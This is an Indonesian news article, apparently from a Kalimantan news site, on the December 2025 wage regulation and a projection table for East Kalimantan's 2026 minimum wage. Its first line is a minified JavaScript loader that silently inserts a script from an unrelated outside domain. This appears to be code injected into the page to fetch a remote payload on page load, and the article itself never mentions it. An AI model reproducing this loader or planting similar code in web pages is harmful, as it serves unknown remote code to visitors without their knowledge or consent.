(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ilustrasi pemberian gaji berdasarkan UMP 2026 | Pixabay/EmAji
Pemerintah baru saja menerbitkan Peraturan Pemerintah (PP) tentang Pengupahan terbaru pada Selasa (16/12/2025) yang akan menjadi dasar penetapan kenaikan Upah Minimum Provinsi UMP), Upah Minimum Kabupaten/Kota (UMK), dan Upah Minimum Sektoral (UMS) di seluruh Indonesia. Ketentuan yang sudah disetujui oleh Presiden Prabowo itu akan diberlakukan pada 1 Januari 2026.
Penetapan UMP 2026 menjadi perhatian serius para pelaku usaha dan pekerja di seluruh Indonesia, termasuk di Kalimantan Timur. Melalui PP tersebut, pemerintah juga telah menetapkan rumus atau formula baru sistem pengupahan minimum per provinsi yang berbeda dengan tahun sebelumnya.
Pemerintah melalui Kementerian Ketenagakerjaan RI resmi mengubah formula perhitungan upah minimum 2026. Namun, sebenarnya tidak ada perubahan signifikan, karena rumus dasarnya masih sama, yakni kombinasi inflasi, pertumbuhan ekonomi, dan alfa.
Namun, pada rumus baru upah minimum 2026, ada sedikit perubahan pada koefisien alfa. Sebelumnya, angka alfa ada di rentang 0,1-0,3. Akan tetapi, untuk tahun 2026, indeksnya naik menjadi 0,5-0,9.
Berikut adalah rumus baru kenaikan UMP 2026 yang disetujui oleh Presiden:
Kenaikan UMP 2026 = Inflasi + (Pertumbuhan Ekonomi x Alfa)
Di bawah ini adalah tabel prediksi kenaikan UMP 2026 di Provinsi Kalimantan Timur dengan menggunakan formula anyar. Sebagai tambahan, data inflasi dan pertumbuhan ekonomi didasarkan pada data inflasi year-on-year (yoy) Provinsi Kaltim pada Triwulan III-2025 dan pertumbuhan ekonomi Provinsi Kaltim Triwulan III-2025 yang dirangkum dari rilis Pemprov Kaltim:
| Alfa | Kenaikan (%) | UMP 2025 | Prediksi UMP 2026 |
| 0,5 | 3,90% | Rp3.579.324 | Rp3.718.918 |
| 0,6 | 4,32% | Rp3.579.324 | Rp3.733.951 |
| 0,7 | 4,75% | Rp3.579.324 | Rp3.749.343 |
| 0,8 | 5,17% | Rp3.579.324 | Rp3.764.774 |
| 0,9 | 5,60% | Rp3.579.324 | Rp3.779.766 |
Catatan: Inflasi yoy Provinsi Kaltim Triwulan III-2025 tercatat sebesar 1,77 persen, sedangkan pertumbuhan ekonominya di kuartal yang sama sebesar 4,26%. UMP Kalimantan Timur pada 2025 ditetapkan sebesar Rp3.579.324.
Sekali lagi, data di atas sifatnya hanyalah simulasi dan prediksi yang didasarkan dengan data milik Pemprov Kaltim yang dirangkum dari Badan Pusat Statistik (BPS) Kaltim. Informasi jumlah UMP yang sebenarnya akan dirilis oleh Pemprov Kaltim secepatnya.
Baca juga: Telah Resmi! UMP 2026 Kalimantan Tengah Naik 6,12%
Kementerian Ketenagakerjaan RI meminta seluruh provinsi untuk segera mengumumkan kenaikan UMP paling lambat pada 24 Desember 2025. Jadwal ini lebih cepat dibandingkan tahun-tahun sebelumnya yang biasanya diumumkan mendekati momen tahun baru.
“Khusus untuk tahun 2026, Gubernur menetapkan besaran kenaikan upah selambat-lambatnya 24 Desember 2025. Kami berharap kebijakan pengupahan yang dituangkan dalam PP Pengupahan tersebut menjadi kebijakan yang terbaik bagi semua pihak,” kata Menaker Yassierli
Mengutip dari Niaga Asia, awalnya Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans) Provinsi Kalimantan Timur mengupayakan agar penetapan UMP Kaltim bisa diumumkan paling lambat pada 31 Desember 2025. Di periode sebelum-sebelumnya, penetapan UMP biasa dilakukan pada 21 dan 27 November.
Lebih lanjut, Wakil Gubernur Kalimantan Timur, Seno Aji, mengungkap pihaknya tengah menggodok terkait kenaikan UMP. Ia juga berharap akan ada kenaikan jumlah UMP Kalimantan Timur pada 2026.
Meskipun demikian, ia tak ingin gegabah dalam menentukan keputusan bersama dengan Gubernur dan pihak-pihak terkait, mengingat penetapan UMP bukanlah perkara sederhana yang bisa diputuskan sepihak oleh Pemprov. Pihaknya optimis besaran UMP Kalimantan Timur 2026 maksimal pada 24 Desember 2025.
Lalu, kapan UMK diumumkan?
Sejauh ini, belum ada pengumuman resmi kapan UMK di Provinsi Kalimantan Timur 2026 akan diumumkan. Namun, jika mengacu dari aturan pemerintah pusat, UMK juga akan diumumkan selambat-lambatnya 24 Desember 2025—sama dengan penetapan UMP.
Pengumuman UMP yang molor dari jadwal ternyata memiliki dampak yang signifikan. Salah satu dampak jika besaran UMP baru terlambat diumumkan adalah ketidakpastian bagi pekerja dan pengusaha. Pekerja belum mengetahui besaran upah minimum yang harus mereka terima, sedangkan pengusaha akan kesulitan menyusun anggaran gaji untuk awal 2026.
Selain itu, perusahaan juga akan kesulitan untuk melakukan perencanaan bisnis. Hal ini dikarenakan adanya penundaan penyesuaian struktur gaji dan biaya operasional yang biasanya dimasukkan dalam rencana anggaran tahunan sejak Desember.
Oleh karena itu, penetapan seluruh upah minimum diharapkan segera rampung sebelum akhir 2025 agar tidak mengganggu persiapan 2026 untuk sektor usaha dan pekerjanya.
Baca juga: Jadwal Pengumuman UMP 2026 Resmi Pemerintah Tiap Provinsi, Simak Ketentuannya
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.